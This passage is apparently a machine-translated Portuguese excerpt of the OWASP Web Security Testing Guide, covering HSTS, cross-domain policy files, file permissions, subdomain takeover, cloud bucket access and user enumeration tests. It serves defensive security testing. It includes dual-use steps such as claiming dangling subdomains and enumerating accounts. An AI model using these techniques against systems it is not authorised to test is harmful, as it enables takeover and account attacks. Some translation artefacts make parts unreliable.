um aplicativo da web que indicou erroneamente o uso do protocolo HTTP.
Objetivos do teste
Revise o cabeçalho HSTS e sua validade.
Como testar
A presença do cabeçalho HSTS pode ser confirmada examinando a resposta do servidor por meio de um proxy de interceptação ou usando o curl
da seguinte forma:
$ curl -s -D- https://owasp.org | grep -i strict Strict-Transport-Security:

max-age=31536000
Referências
Segurança de Transporte Estrito HTTP OWASP
114
Série de Tutoriais OWASP Appsec - Episódio 4: Segurança Estrita de Transporte

Especificação HSTS
115
Testar política de domínio cruzado de RIA
EU IRIA
WSTG-CONF-08
Resumo
Os Rich Internet Applications (RIA) adotaram os arquivos de política crossdomain.xml da Adobe para permitir o acesso controlado entre domínios a dados e consumo de
serviço usando tecnologias como Oracle Java, Silverlight e Adobe Flash.
Portanto, um domínio pode conceder acesso remoto aos seus serviços de um domínio diferente. No entanto, muitas vezes os arquivos de política que descrevem as restrições
de acesso são mal configurados. A configuração inadequada dos arquivos de política permite ataques de falsificação de solicitação entre sites e pode permitir que terceiros
acessem dados confidenciais destinados ao usuário.
O que são arquivos de política entre domínios?

Um arquivo de política entre domínios especifica as permissões que um cliente da Web, como Java, Adobe Flash, Adobe Reader, etc., usa para acessar dados em diferentes
domínios. Para o Silverlight, a Microsoft adotou um subconjunto do crossdomain.xml da Adobe e, além disso, criou seu próprio arquivo de política entre domínios:
clientaccesspolicy.xml.
Sempre que um cliente da Web detecta que um recurso precisa ser solicitado de outro domínio, ele primeiro procura um arquivo de política no domínio de destino para
determinar se é permitido executar solicitações entre domínios, incluindo cabeçalhos e conexões baseadas em soquete.
Os arquivos de política mestre estão localizados na raiz do domínio. Um cliente pode ser instruído a carregar um arquivo de política diferente, mas sempre verificará primeiro
o arquivo de política mestre para garantir que o arquivo de política mestre permita o arquivo de política solicitado.
Crossdomain.xml vs. Clientaccesspolicy.xml
A maioria dos aplicativos RIA suporta crossdomain.xml. No entanto, no caso do Silverlight, ele só funcionará se o crossdomain.xml especificar que o acesso é permitido de
qualquer domínio. Para um controle mais granular com o Silverlight, o clientaccesspolicy.xml deve ser usado.
Os arquivos de política concedem vários tipos de permissões:
Arquivos de política aceitos (arquivos de política mestre podem desabilitar ou restringir arquivos de política específicos)
Permissões de soquetes
Permissões de cabeçalho
Permissões de acesso HTTP/HTTPS
Permitir acesso com base em credenciais criptográficas
Um exemplo de um arquivo de política excessivamente permissivo:
<?xml versão="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"> <cross-domain-
policy>
<site-control allowed-cross-domain-policies="all"/> <allow-access-
from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/> </cross-domain-
policy>
Como os arquivos de política entre domínios podem ser abusados?

Políticas entre domínios excessivamente permissivas.
Machine
116
Gerando respostas do servidor que podem ser tratadas como arquivos de política entre domínios.
Usando a funcionalidade de upload de arquivo para fazer upload de arquivos que podem ser tratados como arquivos de política entre domínios.
Impacto do abuso do acesso entre domínios
Derrote as proteções CSRF.
Leia dados restritos ou protegidos por políticas de origem cruzada.
Objetivos do teste
Revise e valide os arquivos de política.
Como testar
Testando a Fraqueza dos Arquivos de Política RIA
Para testar a vulnerabilidade do arquivo de política RIA, o testador deve tentar recuperar os arquivos de política crossdomain.xml e clientaccesspolicy.xml
da raiz do aplicativo e de todas as pastas encontradas.
Por exemplo, se a URL do aplicativo for http://www.owasp.org , o testador deve tentar baixar os arquivos http://www.owasp.org/crossdomain.xml e http://
www.owasp.org/ clientaccesspolicy.xml .
Depois de recuperar todos os arquivos de política, as permissões permitidas devem ser verificadas sob o princípio de privilégio mínimo.
As solicitações devem vir apenas dos domínios, portas ou protocolos necessários. Políticas excessivamente permissivas devem ser evitadas. Políticas
com * devem ser examinadas de perto.
Exemplo
<política de domínio cruzado>

<allow-access-from domain="*" />
</cross-domain-policy>
Resultado Esperado
Uma lista de arquivos de política encontrados.
Uma lista de configurações fracas nas políticas.
Ferramentas
Nikto
Projeto de Proxy de Ataque Zed OWASP
W3af
Referências
Adobe: “Especificação de arquivo de política entre domínios”
Adobe: “Recomendações de uso de arquivo de política entre domínios para o Flash Player”
Oracle: “Suporte XML entre domínios”
MSDN: “Tornando um serviço disponível além dos limites do domínio”
MSDN: “Restrições de acesso à segurança de rede no Silverlight”
Stefan Esser: “Abrindo novos buracos com arquivos de política Flash Crossdomain”
Jeremiah Grossman: “Crossdomain.xml convida ao caos entre sites”
Google Doctype: “Introdução à segurança do Flash”
UCSD: analisando as políticas entre domínios de aplicativos Flash

117
Permissão de arquivo de teste
EU IRIA
WSTG-CONF-09
Resumo
Quando um recurso recebe uma configuração de permissões que fornece acesso a uma gama mais ampla de atores do que o necessário, isso pode levar à exposição de informações
confidenciais ou à modificação desse recurso por partes indesejadas. Isso é especialmente perigoso quando o recurso está relacionado à configuração do programa, execução ou dados
confidenciais do usuário.
Um exemplo claro é um arquivo de execução executável por usuários não autorizados. Por outro exemplo, as informações da conta ou um valor de token para acessar uma API - cada vez
mais visto em serviços da Web modernos ou microsserviços - podem ser armazenados em um arquivo de configuração cujas permissões são definidas como legíveis por todo o mundo a
partir da instalação por padrão. Esses dados confidenciais podem ser expostos por atores mal-intencionados internos do host ou por um invasor remoto que comprometeu o serviço com
outras vulnerabilidades, mas obteve apenas um privilégio de usuário normal.
Objetivos do teste
Revise e identifique quaisquer permissões de arquivo não autorizadas.
Como testar
No Linux, use o comando ls para verificar as permissões do arquivo. Como alternativa, namei também pode ser usado para listar recursivamente as permissões de arquivo.
$ namei -l /PathToCheck/
Os arquivos e diretórios que requerem teste de permissão de arquivo incluem, mas não estão limitados a:
Arquivos/diretório da Web
Arquivos/diretório de configuração
Arquivos confidenciais (dados criptografados, senha, chave)/diretório
Arquivos de log (logs de segurança, logs de operação, logs administrativos)/diretório
Executáveis (scripts, EXE, JAR, classe, PHP, ASP)/diretório
Arquivos/diretório do banco de dados
Arquivos temporários /diretório
Carregar arquivos/diretório
Remediação
Defina as permissões dos arquivos e diretórios adequadamente para que usuários não autorizados não possam acessar recursos críticos desnecessariamente.
Ferramentas
Windows AccessEnum
Verificação de Acesso ao Windows
Nome Linux
Referências
CWE-732: Atribuição de permissão incorreta para recurso crítico
118
Teste para aquisição de subdomínio
EU IRIA
WSTG-CONF-10
Resumo
Uma exploração bem-sucedida desse tipo de vulnerabilidade permite que um adversário reivindique e assuma o controle do subdomínio da vítima.
Este ataque depende do seguinte:
1. O registro de subdomínio do servidor DNS externo da vítima está configurado para apontar para um recurso/serviço externo/endpoint inexistente
ou inativo. A proliferação de produtos XaaS (Anything as a Service) e serviços de nuvem pública oferecem muitos alvos potenciais a serem
considerados.
2. O provedor de serviços que hospeda o recurso/serviço externo/endpoint não lida com a propriedade do subdomínio
verificação corretamente.
Se a aquisição do subdomínio for bem-sucedida, uma ampla variedade de ataques é possível (fornecimento de conteúdo malicioso, phishing, roubo
de cookies de sessão do usuário, credenciais, etc.). Esta vulnerabilidade pode ser explorada para uma ampla variedade de registros de recursos
DNS, incluindo: A TXT etc., Zona DNS, eMX
CNAME , vítima.
, NS da
domínio
GitHub
1. A vítima (victim.com) usa o GitHub para desenvolvimento e configurou um registro DNS ( coderepo.victim.com ) para
Acesse isso.
2. A vítima decide migrar seu repositório de código do GitHub para uma plataforma comercial e não remove
coderepo.victim.com de seu servidor DNS.
3. Um adversário descobre que coderepo.victim.com está hospedado no GitHub e usa as páginas do GitHub para reivindicar
coderepo.victim.com usando sua conta GitHub.
Domínio expirado
1. A vítima (victim.com) possui outro domínio (victimotherdomain.com) e usa um registro CNAME (www) para referenciar o outro domínio
( www.victim.com –> vítimaotherdomain.com )
2. Em algum momento, vitimaoutrodominio.com expira e fica disponível para registro por qualquer pessoa. Como o registro CNAME não é excluído
da zona DNS da vítima.com, qualquer pessoa que registrar vítimaoutrodomínio.com terá controle total sobre www.victim.com até que o registro
DNS esteja presente.
Objetivos do teste
Enumere todos os domínios possíveis (anteriores e atuais).
Identifique domínios esquecidos ou mal configurados.
Como testar
A primeira etapa é enumerar os servidores DNS da vítima e os registros de recursos. Existem várias maneiras de realizar essa tarefa, por exemplo,
enumeração de DNS usando uma lista de dicionário de subdomínios comuns, força bruta de DNS ou usando mecanismos de pesquisa na Web e
outras fontes de dados OSINT.
Usando o comando dig, o testador procura as seguintes mensagens de resposta do servidor DNS que garantem uma investigação mais aprofundada:
119
NXDOMAIN
SERVFAIL
RECUSOU
nenhum servidor pôde ser alcançado.
Testando domínio do subdomínio do registro DNS A e CNAME
Execute uma enumeração básica de DNS no domínio da vítima ( vitima.com ) usando dnsrecon :
$ ./dnsrecon.py -d vítima.com [*]

Enumeração geral do domínio: vítima.com
...
[-] DNSSEC não está configurado para vítima.com [*] [*]
A subdomain.victim.com 192.30.252.153 CNAME
subdomain1.victim.com fictioussubdomain.victim.com
...
Identifique quais registros de recursos DNS estão inativos e aponte para serviços inativos/não usados. Usando o comando dig para o
Registro CNAME :
$ dig CNAME subdomínio fictício.victim.com ; <<>> DiG

9.10.3-P4-Ubuntu <<>> ns vitima.com ;; opções globais: +cmd ;;
Resposta obtida: ;; ->>HEADER<<- opcode: QUERY, status:
NXDOMAIN, id: 42950 ;; bandeiras: qr rd ra; PERGUNTA: 1,
RESPOSTA: 2, AUTORIDADE: 0, ADICIONAL: 1
As seguintes respostas de DNS garantem uma investigação mais aprofundada: NXDOMAIN .
Para testar o registro A , o testador realiza uma pesquisa no banco de dados whois e identifica o GitHub como o provedor de serviços:
$ whois 192.30.252.153 | grep "OrgName"

OrgName: GitHub, Inc.
O testador visita subdomain.victim.com ou emite uma solicitação HTTP GET que retorna uma resposta “404 - Arquivo não encontrado”, que é uma indicação
clara da vulnerabilidade.
120
Figura 4.2.10-1: GitHub 404 Resposta de arquivo não encontrado
O testador reivindica o domínio usando o GitHub Pages:
Figura 4.2.10-2: domínio de reivindicação do GitHub
Testando aquisição de subdomínio de registro NS
Identifique todos os servidores de nomes para o domínio no escopo:

Machine
121
$ dig ns vitima.com +short

ns1.victim.com
nameserver.expireddomain.com
Neste exemplo fictício, o testador verifica se o domínio expireddomain.com está ativo com uma pesquisa de registrador de domínio. Se o domínio estiver disponível para
compra, o subdomínio estará vulnerável.
As seguintes respostas de DNS garantem uma investigação mais aprofundada: SERVFAIL ou REFUSED .
Teste de caixa cinza O testador
tem o arquivo de zona DNS disponível, o que significa que a enumeração de DNS não é necessária. A metodologia de teste
é o mesmo.
Remediação
Para mitigar o risco de aquisição de subdomínio, os registros de recursos DNS vulneráveis devem ser removidos da zona DNS. Monitoramento contínuo e verificações
periódicas são recomendados como melhor prática.
Ferramentas
dig - página de manual
recon-ng - Estrutura de reconhecimento da Web
theHarvester - Ferramenta de coleta de inteligência OSINT

Sublist3r - ferramenta de enumeração de subdomínio OSINT
dnsrecon - Script de enumeração de DNS

Enumeração de DNS em massa OWASP
Referências
HackerOne - Um guia para aquisições de subdomínio
Aquisição de Subdomínio: Noções Básicas
Aquisição de subdomínio: indo além do CNAME
OWASP AppSec Europe 2017 - Frans Rosén: sequestro de DNS usando provedores de nuvem – nenhuma verificação necessária
122
Testar armazenamento em nuvem
EU IRIA
WSTG-CONF-11
Resumo
Os serviços de armazenamento em nuvem facilitam aplicativos e serviços da web para armazenar e acessar objetos no serviço de armazenamento.
A configuração inadequada do controle de acesso, no entanto, pode resultar na exposição de informações confidenciais, adulteração de dados ou
acesso não autorizado.
Um exemplo conhecido é quando um bucket do Amazon S3 é configurado incorretamente, embora os outros serviços de armazenamento em nuvem
também possam estar expostos a riscos semelhantes. Por padrão, todos os buckets do S3 são privados e podem ser acessados apenas por usuários com
acesso explicitamente concedido. Os usuários podem conceder acesso público ao próprio depósito e a objetos individuais armazenados nesse depósito.
Isso pode levar um usuário não autorizado a fazer upload de novos arquivos, modificar ou ler arquivos armazenados.
Objetivos do teste
Avalie se a configuração de controle de acesso para os serviços de armazenamento está correta.
Como testar
Primeiro, identifique a URL para acessar os dados no serviço de armazenamento e, em seguida, considere os seguintes testes:
leia os dados não autorizados
fazer upload de um novo arquivo arbitrário
Você pode usar curl para os testes com os seguintes comandos e ver se ações não autorizadas podem ser executadas com sucesso.
Para testar a capacidade de ler um objeto:
curl -X GET https://<cloud-storage-service>/<object>
Para testar a capacidade de carregar um arquivo:
curl -X PUT -d 'test' 'https://<cloud-storage-service>/test.txt'
Teste de configuração incorreta do bucket do Amazon S3 As URLs do
bucket do Amazon S3 seguem um de dois formatos: estilo de host virtual ou estilo de caminho.
Acesso Virtual de Estilo Hospedado
https://bucket-name.s3.Region.amazonaws.com/key-name
No exemplo a seguir, my-bucket é o nome do bucket, us-west-2 é a região e puppy.png é o nome-chave:
https://my-bucket.s3.us-west-2.amazonaws.com/puppy.png
123
Acesso de estilo de caminho
https://s3.Region.amazonaws.com/bucket-name/key-name
Como acima, no exemplo a seguir, my-bucket é o nome do bucket, us-west-2 é a região e puppy.png é o nome-chave:
https://s3.us-west-2.amazonaws.com/my-bucket/puppy.jpg
Para algumas regiões, o endpoint global herdado que não especifica um endpoint específico da região pode ser usado. Seu formato também é um estilo de hospedagem virtual
ou estilo de caminho.
Acesso Virtual de Estilo Hospedado
https://bucket-name.s3.amazonaws.com
Acesso de estilo de caminho
https://s3.amazonaws.com/bucket-name
Identificar o URL do intervalo
Para testes de caixa preta, os URLs do S3 podem ser encontrados nas mensagens HTTP. O exemplo a seguir mostra que uma URL de bucket é enviada na tag img em uma
resposta HTTP.
...
<img src="https://my-bucket.s3.us-west-2.amazonaws.com/puppy.png">
...
Para testes de caixa cinza, você pode obter URLs de balde da interface da web da Amazon, documentos, código-fonte ou qualquer outra fonte disponível.
Testando com AWS-CLI
Além de testar com curl, você também pode testar com a ferramenta de linha de comando da AWS. Neste caso , o protocolo s3:// é usado.
Lista
O comando a seguir lista todos os objetos do bucket quando ele é configurado como público.
aws s3 ls s3://<nome do balde>
Carregar
O seguinte é o comando para fazer upload de um arquivo
aws s3 cp arquivo arbitrário s3://bucket-name/path-to-save

124
Este exemplo mostra o resultado quando o upload foi bem-sucedido.
$ aws s3 cp test.txt s3://bucket-name/test.txt upload: ./test.txt

para s3://bucket-name/test.txt
Este exemplo mostra o resultado quando o upload falhou.
$ aws s3 cp test.txt s3://bucket-name/test.txt upload falhou: ./

test2.txt para s3://bucket-name/test2.txt Ocorreu um erro (AccessDenied) ao chamar a operação PutObject: Acesso negado
Retirar
O seguinte é o comando para remover um objeto
aws s3 rm s3://bucket-name/object-to-remove
Ferramentas
AWS CLI
Referências
Trabalhando com baldes do Amazon S3

DEFEITOS 2
125
4.3.1 Definições de função de teste
4.3.2 Processo de Registro do Usuário de Teste
4.3.3 Processo de provisionamento de conta de teste
4.3.4 Teste para enumeração de conta e conta de usuário que pode ser adivinhada
4.3.5 Teste de política de nome de usuário fraca ou não aplicada

126
Definições de função de teste
EU IRIA
WSTG-IDNT-01
Resumo
Os aplicativos possuem diversos tipos de funcionalidades e serviços, e estes requerem permissões de acesso com base nas necessidades do usuário.
Esse usuário pode ser:
um administrador, onde gerem as funcionalidades da aplicação.
um auditor, onde revisam as transações do aplicativo e fornecem um relatório detalhado. um engenheiro de
suporte, onde ajudam os clientes a depurar e corrigir problemas em suas contas.
um cliente, onde eles interagem com o aplicativo e se beneficiam de seus serviços.
Para lidar com esses usos e qualquer outro caso de uso para esse aplicativo, as definições de função são configuradas (mais comumente conhecidas
como RBAC). Com base nessas funções, o usuário é capaz de realizar a tarefa necessária.
Objetivos do teste
Identifique e documente as funções usadas pelo aplicativo.
Tente alternar, alterar ou acessar outra função.
Revise a granularidade das funções e as necessidades por trás das permissões concedidas.
Como testar
Identificação de funções
O testador deve começar identificando as funções de aplicativo que estão sendo testadas por meio de qualquer um dos seguintes métodos:
Documentação do aplicativo.
Orientação pelos desenvolvedores ou administradores do aplicativo.
Comentários do aplicativo.
Fuzz funções possíveis:
variável de cookie (por exemplo , função = , isAdmin=Verdadeiro )
variável de conta do administrador (por exemplo ,
, /mod
Função: gerente ) diretórios ou arquivos ocultos (por exemplo , /backups )
, /admin
mudar para usuários conhecidos (por exemplo , admin , backups , etc.)
Mudando para funções disponíveis Depois
de identificar possíveis vetores de ataque, o testador precisa testar e validar se pode acessar as funções disponíveis.
Alguns aplicativos definem as funções do usuário na criação, por meio de verificações e políticas rigorosas, ou garantindo que a função do usuário
seja devidamente protegida por meio de uma assinatura criada pelo back-end. Descobrir que as funções existem não significa que elas sejam uma
vulnerabilidade.
Revisar permissões de funções
Depois de obter acesso às funções no sistema, o testador deve entender as permissões fornecidas para cada função.
Um engenheiro de suporte não deve ser capaz de realizar funcionalidades administrativas, gerenciar os backups ou conduzir quaisquer transações no
lugar de um usuário.
Machine
127
Um administrador não deve ter plenos poderes no sistema. A funcionalidade de administrador confidencial deve alavancar um princípio de
verificador de fabricante ou usar MFA para garantir que o administrador esteja conduzindo a transação. Um exemplo claro disso foi o incidente
do Twitter em 2020.
Ferramentas
Os testes acima mencionados podem ser realizados sem o uso de qualquer ferramenta, exceto aquela que está sendo usada para acessar o sistema.
Para tornar as coisas mais fáceis e mais documentadas, pode-se usar:
Extensão do Burp's Autorize
Complemento de teste de controle de acesso do ZAP
Referências
Engenharia de função para gerenciamento de segurança empresarial, E Coyne & J Davis, 2007
Engenharia de função e padrões RBAC

128
Processo de registro do usuário de teste
EU IRIA
WSTG-IDNT-02
Resumo
Alguns sites oferecem um processo de registro de usuários que automatiza (ou semiautomatiza) o fornecimento de acesso ao sistema aos usuários. Os requisitos
de identidade para acesso variam de identificação positiva a nenhuma, dependendo dos requisitos de segurança do sistema. Muitos aplicativos públicos
automatizam completamente o processo de registro e provisionamento porque o tamanho da base de usuários torna impossível o gerenciamento manual. No
entanto, muitos aplicativos corporativos fornecerão usuários manualmente, portanto, este caso de teste pode não se aplicar.
Objetivos do teste
Verifique se os requisitos de identidade para registro do usuário estão alinhados com os requisitos de negócios e segurança.
Valide o processo de registro.
Como testar
Verifique se os requisitos de identidade para registro do usuário estão alinhados com os requisitos de negócios e segurança:
1. Qualquer pessoa pode se cadastrar para acessar?
2. Os registros são verificados por um ser humano antes do provisionamento ou são concedidos automaticamente se os critérios forem atendidos?
3. A mesma pessoa ou identidade pode registar-se várias vezes?
4. Os usuários podem se registrar para funções ou permissões diferentes?
5. Que prova de identidade é necessária para o sucesso do registo?
6. As identidades registradas são verificadas?
Valide o processo de registro:
1. As informações de identidade podem ser facilmente forjadas ou falsificadas?
2. A troca de informações de identidade pode ser manipulada durante o registro?
Exemplo
No exemplo do WordPress abaixo, o único requisito de identificação é um endereço de e-mail acessível ao registrante.
Machine
129
Figura 4.3.2-1: Página de registro do WordPress
Por outro lado, no exemplo do Google abaixo, os requisitos de identificação incluem nome, data de nascimento, país, número de celular, endereço de e-mail e
resposta CAPTCHA. Embora apenas dois deles possam ser verificados (endereço de e-mail e número de celular), os requisitos de identificação são mais rígidos
do que o WordPress.
Figura 4.3.2-2: Página de registro do Google
Remediação
Implemente requisitos de identificação e verificação que correspondam aos requisitos de segurança das informações que as credenciais protegem.
Ferramentas
Um proxy HTTP pode ser uma ferramenta útil para testar esse controle.
Referências
Projeto de registro de usuário
130
Processo de provisionamento de conta de teste
EU IRIA
WSTG-IDNT-03
Resumo
O provisionamento de contas apresenta uma oportunidade para um invasor criar uma conta válida sem a aplicação do processo adequado de identificação e
autorização.
Objetivos do teste
Verifique quais contas podem provisionar outras contas e de que tipo.
Como testar
Determine quais funções podem provisionar usuários e que tipo de contas eles podem provisionar.
Existe alguma verificação, verificação e autorização de pedidos de aprovisionamento?
Existe alguma verificação, verificação e autorização de pedidos de desprovisionamento?
Um administrador pode provisionar outros administradores ou apenas usuários?
Um administrador ou outro usuário pode provisionar contas com privilégios maiores que os seus?
Um administrador ou usuário pode se desprovisionar?
Como os arquivos ou recursos pertencentes ao usuário desprovisionado são gerenciados? Eles são excluídos? O acesso é transferido?
Exemplo
No WordPress, apenas um nome de usuário e endereço de e-mail são necessários para provisionar o usuário, conforme mostrado abaixo:
Figura 4.3.3-1: Adição de usuário do WordPress
O desprovisionamento de usuários exige que o administrador selecione os usuários a serem desprovisionados, selecione Excluir no menu suspenso
(circulado) e, em seguida, aplique esta ação. O administrador recebe uma caixa de diálogo perguntando o que fazer com as postagens do usuário (excluí-las
ou transferi-las).
131
Figura 4.3.3-2: Autenticação e usuários do WordPress
Ferramentas
Embora a abordagem mais completa e precisa para concluir esse teste seja realizá-lo manualmente, as ferramentas de proxy HTTP
também podem ser úteis.
132
Teste para enumeração de conta e usuário que pode ser adivinhado

Conta
EU IRIA
WSTG-IDNT-04
Resumo
O escopo deste teste é verificar se é possível coletar um conjunto de nomes de usuários válidos interagindo com o mecanismo de autenticação
do aplicativo. Este teste será útil para testes de força bruta, nos quais o testador verifica se, dado um nome de usuário válido, é possível
encontrar a senha correspondente.
Freqüentemente, os aplicativos da Web revelam quando existe um nome de usuário no sistema, seja como consequência de uma configuração
incorreta ou como uma decisão de design. Por exemplo, às vezes, quando enviamos credenciais erradas, recebemos uma mensagem
informando que o nome de usuário está presente no sistema ou a senha fornecida está incorreta. As informações obtidas podem ser usadas
por um invasor para obter uma lista de usuários no sistema. Essas informações podem ser usadas para atacar o aplicativo da Web, por
exemplo, por meio de força bruta ou ataque de nome de usuário e senha padrão.
O testador deve interagir com o mecanismo de autenticação do aplicativo para entender se o envio de solicitações específicas faz com que o
aplicativo responda de maneiras diferentes. Esse problema existe porque as informações liberadas do aplicativo da Web ou do servidor da
Web quando o usuário fornece um nome de usuário válido são diferentes de quando ele usa um inválido
1.
Em alguns casos, é recebida uma mensagem que revela se as credenciais fornecidas estão erradas porque um nome de usuário inválido ou
uma senha inválida foi usada. Às vezes, os testadores podem enumerar os usuários existentes enviando um nome de usuário e uma senha
em branco.
Objetivos do teste
Revise os processos relacionados à identificação do usuário (por exemplo , registro, login, etc.).
Enumere os usuários sempre que possível por meio da análise de resposta.
Como testar
No teste de caixa preta, o testador não sabe nada sobre o aplicativo específico, nome de usuário, lógica do aplicativo, mensagens de erro na
página de login ou recursos de recuperação de senha. Se o aplicativo for vulnerável, o testador recebe uma mensagem de resposta que revela,
direta ou indiretamente, algumas informações úteis para enumerar usuários.
Mensagem de resposta HTTP

Teste de credenciais válidas
Registre a resposta do servidor ao enviar um ID de usuário válido e uma senha válida.
Usando um proxy da web, observe as informações recuperadas dessa autenticação bem-sucedida (resposta HTTP 200, comprimento da
resposta).
Teste de usuário válido com senha incorreta
Agora, o testador deve tentar inserir um ID de usuário válido e uma senha errada e registrar a mensagem de erro gerada pelo aplicativo.
O navegador deve exibir uma mensagem semelhante à seguinte:

133
Figura 4.3.4-1: Falha na autenticação
Diferente de qualquer mensagem que revele a existência do usuário como a seguir:
Login para usuário foo: senha inválida
Usando um proxy da web, observe as informações recuperadas dessa tentativa de autenticação malsucedida (resposta HTTP 200, comprimento
da resposta).
Testando um nome de usuário inexistente
Agora, o testador deve tentar inserir um ID de usuário inválido e uma senha errada e registrar a resposta do servidor (o testador deve ter certeza de que
o nome de usuário não é válido no aplicativo). Registre a mensagem de erro e a resposta do servidor.
Se o testador inserir um ID de usuário inexistente, ele poderá receber uma mensagem semelhante a:
Figura 4.3.4-3: Este usuário não está ativo
ou uma mensagem como a seguinte:
Falha de login para o usuário foo: conta inválida
Geralmente, o aplicativo deve responder com a mesma mensagem de erro e comprimento para as diferentes solicitações incorretas. Se as
respostas não forem iguais, o testador deve investigar e descobrir a chave que cria uma diferença entre as duas respostas. Por exemplo:
1. Solicitação do cliente: Usuário válido/senha incorreta
2. Resposta do servidor: A senha não está correta 3.
Solicitação do cliente: Usuário incorreto/senha incorreta
4. Resposta do servidor: Usuário não reconhecido
As respostas acima permitem que o cliente entenda que, para a primeira solicitação, ele possui um nome de usuário válido. Assim, eles podem
interagir com o aplicativo solicitando um conjunto de possíveis IDs de usuários e observando a resposta.
Olhando para a segunda resposta do servidor, o testador entende da mesma forma que não possui um nome de usuário válido. Assim, eles
podem interagir da mesma maneira e criar uma lista de IDs de usuários válidos observando as respostas do servidor.
Outras maneiras de enumerar usuários

Os testadores podem enumerar usuários de várias maneiras, como:
Analisando o código de erro recebido nas páginas de login
Alguns aplicativos da Web liberam um código ou mensagem de erro específico que podemos analisar.
Analisando URLs e redirecionamentos de URLs
Por exemplo:
http://www.foo.com/err.jsp?User=baduser&Error=0
134
http://www.foo.com/err.jsp?User=gooduser&Error=2
Como visto acima, quando um testador fornece um ID de usuário e senha para o aplicativo da web, ele vê uma mensagem indicando que ocorreu um erro na URL. No
primeiro caso, eles forneceram um ID de usuário incorreto e uma senha incorreta.
No segundo, um bom ID de usuário e uma senha ruim, para que possam identificar um ID de usuário válido.
Sondagem de URI
Às vezes, um servidor da Web responde de maneira diferente se receber uma solicitação para um diretório existente ou não. Por exemplo, em alguns portais, cada
usuário está associado a um diretório. Se os testadores tentarem acessar um diretório existente, eles poderão receber um erro do servidor da web.
Alguns dos erros comuns recebidos de servidores web são:
403 Código de erro proibido
404 Código de erro não encontrado
Exemplo:
http://www.foo.com/account1 - recebemos do servidor web: 403 Proibido
http://www.foo.com/account2 - recebemos do servidor web: 404 file Not Found
No primeiro caso, o usuário existe, mas o testador não pode visualizar a página da web; no segundo caso, o usuário “account2” não existe. Ao coletar essas informações,
os testadores podem enumerar os usuários.
Analisando títulos de páginas da Web
Os testadores podem receber informações úteis no Título da página da Web, onde podem obter um código de erro específico ou mensagens que revelam se o problema
está no nome de usuário ou na senha.
Por exemplo, se um usuário não conseguir se autenticar em um aplicativo e receber uma página da Web cujo título seja semelhante a:
Usuário Inválido
Autenticação inválida
Analisando uma mensagem recebida de uma instalação de recuperação
Quando usamos um recurso de recuperação (ou seja, uma função de senha esquecida), um aplicativo vulnerável pode retornar uma mensagem que revela se um nome
de usuário existe ou não.
Por exemplo, mensagens semelhantes às seguintes:
Nome de usuário inválido: o endereço de e-mail não é válido ou o usuário especificado não foi encontrado.
Nome de usuário válido: Sua senha foi enviada com sucesso para o endereço de e-mail com o qual você se registrou.
Mensagem de erro amigável 404
Quando solicitamos um usuário dentro do diretório que não existe, nem sempre recebemos o código de erro 404. Em vez disso, podemos receber “200 ok” com uma
imagem, neste caso podemos assumir que quando recebemos a imagem específica o usuário não existe. Essa lógica pode ser aplicada a outras respostas do servidor
da Web; o truque é uma boa análise do servidor da web e das mensagens do aplicativo da web.
Analisando os tempos de resposta
Além de olhar para o conteúdo das respostas, o tempo que a resposta leva também deve ser considerado.
Especialmente quando a solicitação causa uma interação com um serviço externo (como enviar um e-mail com senha esquecida), isso pode adicionar várias centenas
de milissegundos à resposta, que pode ser usada para determinar se o usuário solicitado é válido.
Adivinhar usuários
Machine
135
Em alguns casos, os IDs de usuário são criados com políticas específicas de administrador ou empresa. Por exemplo, podemos visualizar um usuário com um ID
de usuário criado em ordem sequencial:
CN000100
CN000101
...
Às vezes, os nomes de usuário são criados com um alias REALM e, em seguida, com números sequenciais:
R1001 - usuário 001 para REALM1
R2001 - usuário 001 para REALM2
No exemplo acima, podemos criar scripts de shell simples que compõem IDs de usuário e enviar uma solicitação com uma ferramenta como wget para automatizar
uma consulta na Web para discernir IDs de usuário válidos. Para criar um script, também podemos usar Perl e curl.
Outras possibilidades são: - IDs de usuário associados a números de cartão de crédito ou, em geral, números com um padrão. - IDs de usuário associados a nomes
reais, por exemplo, se Freddie Mercury tiver um ID de usuário "fmercury", então você pode adivinhar que Roger Taylor tem o ID de usuário "rtaylor".
Novamente, podemos adivinhar um nome de usuário a partir das informações recebidas de uma consulta LDAP ou da coleta de informações do Google, por
exemplo, de um domínio específico. O Google pode ajudar a encontrar usuários de domínio por meio de consultas específicas ou por meio de um simples shell
script ou ferramenta.
Ao enumerar contas de usuário, você corre o risco de bloquear contas após um número predefinido de sondagens com falha (com base na política do
aplicativo). Além disso, às vezes, seu endereço IP pode ser banido por regras dinâmicas no firewall do aplicativo ou no Sistema de Prevenção de Intrusão.

Testando mensagens de erro de autenticação
Verifique se o aplicativo responde da mesma maneira para cada solicitação do cliente que produz uma autenticação com falha.
Para esta questão, o teste de caixa preta e o teste de caixa cinza têm o mesmo conceito baseado na análise de mensagens ou códigos de erro recebidos do
aplicativo da web.
O aplicativo deve responder da mesma maneira para cada tentativa falha de autenticação.
Por Exemplo: As credenciais enviadas não são válidas
Remediação
Certifique-se de que o aplicativo retorne mensagens de erro genéricas consistentes em resposta ao nome de conta, senha ou outras credenciais de usuário
inválidas inseridas durante o processo de login.
Certifique-se de que as contas padrão do sistema e as contas de teste sejam excluídas antes de liberar o sistema para produção (ou expô-lo a uma rede não
confiável).
Ferramentas

ondulação
PERL
Referências
Marco Mella, Sun Java Access & Identity Manager Enumeração de usuários
Vulnerabilidades de enumeração de nome de usuário
136
Teste de política de nome de usuário fraca ou não aplicada
EU IRIA
WSTG-IDNT-05
Resumo
Nomes de contas de usuário geralmente são altamente estruturados (por exemplo, o nome da conta Joe Bloggs é jbloggs e o nome da conta Fred Nurks
é fnurks) e nomes de contas válidos podem ser facilmente adivinhados.
Objetivos do teste
Determine se uma estrutura de nome de conta consistente torna o aplicativo vulnerável a
enumeração.
Determine se as mensagens de erro do aplicativo permitem a enumeração de contas.
Como testar
Determine a estrutura dos nomes das contas.
Avalie a resposta do aplicativo para nomes de conta válidos e inválidos.
Use respostas diferentes para nomes de contas válidos e inválidos para enumerar nomes de contas válidos.
Use dicionários de nome de conta para enumerar nomes de conta válidos.
Remediação
Certifique-se de que o aplicativo retorne mensagens de erro genéricas consistentes em resposta ao nome de conta, senha ou outras credenciais de
usuário inválidas inseridas durante o processo de login.
137
4.4.1 Teste de credenciais transportadas por um canal criptografado
4.4.2 Teste de credenciais padrão
